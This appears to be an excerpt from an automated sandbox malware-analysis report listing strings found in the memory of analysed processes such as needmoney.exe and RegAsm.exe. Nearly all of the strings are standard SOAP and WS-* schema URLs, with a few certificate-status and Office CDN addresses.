Source: svchost.exe, 0000001A.00000003.2874602060.0000019DEAB30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsps.ssl.com0
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 00000009.00000002.2875623535.0000000003281000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.0000000002851000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
